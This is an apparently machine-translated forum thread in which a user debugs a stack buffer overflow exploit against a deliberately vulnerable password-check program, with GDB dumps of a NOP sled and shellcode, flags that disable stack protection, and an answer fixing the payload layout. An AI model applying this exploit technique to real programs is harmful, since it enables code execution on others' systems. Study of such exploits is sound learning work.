Buffer overflow exploit: segfault for ret function for stack code

I am trying to use a buffer overflow in a test program to execute arbitrary code. I am on NetBSD 6 i386. Here is the C code:

int checkPassword(char *password) { char savePassword[64] = {0}; char *logMessage; int isUser = 0; int isAdmin = 0; int i; if (!strcmp(password, userPassword)) isUser = 1; strcpy(savePassword, password); for (i = 0; password[i]; ++i) password[i] ^= xorKey; if (!strcmp(password, adminPassword)) isAdmin = 1; if (!(isAdmin | isUser)) { /* ... */ } return isAdmin ? ADMIN : isUser ? USER : NOBODY; /* main.c:79 */ } 

I paste the code into the savePassword buffer ( %ebp - 0x58 ). Here is the debugging with GDB:

 # gdb -q ./pepito Reading symbols from /root/Pepito/source/pepito...done. (gdb) b main.c:79 Breakpoint 1 at 0x80490f4: file main.c, line 79. (gdb) r debug Starting program: /root/Pepito/source/pepito debug Daemon started Breakpoint 1, checkPassword (password=0xbb901000 ' ' <repeats 57 times>, "\345Q?Y?\005?T?T \r\345Td3\a?T \035\060\071\071:u\":'91_-\352\352") at main.c:79 79 return isAdmin ? ADMIN : isUser ? USER : NOBODY; 

I interrupt the return function, then I guarantee that arbitrary code (length 96 bytes) was correctly written on the stack:

 (gdb) x/96xb $ebp-0x58 0xbfbfd560: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbfbfd568: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbfbfd570: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbfbfd578: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbfbfd580: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbfbfd588: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbfbfd590: 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0x90 0xbfbfd598: 0x90 0xb0 0x04 0x6a 0x0c 0x6a 0x50 0x6a 0xbfbfd5a0: 0x01 0x6a 0x01 0xcd 0x60 0x00 0x00 0x00 0xbfbfd5a8: 0x31 0xd2 0x66 0x52 0x6a 0x01 0xcd 0x80 0xbfbfd5b0: 0x48 0x65 0x6c 0x6c 0x6f 0x20 0x77 0x6f 0xbfbfd5b8: 0x72 0x6c 0x64 0x0a 0x78 0xd5 0xbf 0xbf 

Then I continue to the ret assembly statement:

 (gdb) nexti (gdb) nexti (gdb) nexti (gdb) nexti (gdb) nexti (gdb) nexti (gdb) nexti (gdb) x/i $eip => 0x8049119 <checkPassword+393>: ret 

Then I check the return address, which is the top of the stack (in %esp ):

 (gdb) x/xw $esp 0xbfbfd5bc: 0xbfbfd578 

This address will be displayed ret , after which we will go to it. Check out the instructions we have at this address:

 (gdb) x/50i 0xbfbfd578 0xbfbfd578: nop 0xbfbfd579: nop 0xbfbfd57a: nop [...] 0xbfbfd597: nop 0xbfbfd598: nop 0xbfbfd599: mov al,0x4 0xbfbfd59b: push 0xc 0xbfbfd59d: push 0x50 0xbfbfd59f: push 0x1 0xbfbfd5a1: push 0x1 0xbfbfd5a3: int 0x60 

Our custom code!

But if I run ret , then segfaults:

 (gdb) nexti Program received signal SIGSEGV, Segmentation fault. 0x08049119 in checkPassword (password=0xbb901000 ' ' <repeats 57 times>, "\345Q?Y?\005?T?T \r\345Td3\a?T \035\060\071\071:u\":'91_-\352\352") at main.c:80 80 } (gdb) x/i $eip => 0x8049119 <checkPassword+393>: ret 

It seems that the operating system forbade me to jump on the stack. But I disabled protection from unused stacks:

 gcc -m32 -g -fno-stack-protector -D_FORTIFY_SOURCE=0 -c main.c gcc main.o daemon.o network.o utils.o -o pepito -m32 -L./lib_netbsd -lsecret -Wl,-rpath,./lib_netbsd -Wl,-z,execstack 

readelf confirms that the stack is executable:

 # readelf -l pepito Elf file type is EXEC (Executable file) Entry point 0x8048d60 There are 7 program headers, starting at offset 52 Program Headers: Type Offset VirtAddr PhysAddr FileSiz MemSiz Flg Align [...] GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x4 
+4
source share
1 answer

In my window after overflow savePassword using strcpy call. I got the following instruction:

0x80484ba: movl $ 0x0, -0x14 (% ebp)

It corresponds to initializing local variable i with 0

 for (i = 0; password[i]; ++i) 

This distorted the NOP wipes in the entered code, thereby provoking segfault at runtime. Look at your side. If this is the same (I'm pretty sure that it is), then you can just move the shellcode to the beginning of the payload and get rid of the NOP sled.

And as Fermat2357 said, consider sending a dump of the function, as well as all the payload before the ret statement.

GCC:

gcc version 4.8.0 20130502 (pre-transmission) (GCC)

Compiled with

gcc -m32 -ggdb -fno-stack-protector -z execstack -D_FORTIFY_SOURCE = 0 vuln.c -o vuln

Excerpt

 #include <stdlib.h> #include <stdio.h> #include <string.h> #define ADMIN 2 #define USER 1 #define NOBODY 0 char* userPassword = "S3cuRe"; char* adminPassword = "4dm1n"; int xorKey = 0; int checkPassword(char *password) { char savePassword[64] = {0}; char *logMessage; int isUser = 0; int isAdmin = 0; int i; if (!strcmp(password, userPassword)) isUser = 1; strcpy(savePassword, password); for (i = 0; password[i]; ++i) password[i] ^= xorKey; if (!strcmp(password, adminPassword)) isAdmin = 1; if (!(isAdmin | isUser)) { } return isAdmin ? ADMIN : isUser ? USER : NOBODY; } void main(int argc, char *argv[]) { int user = NOBODY; user = checkPassword(argv[1]); printf("Hello %d\n", user); } 
-1
source

All Articles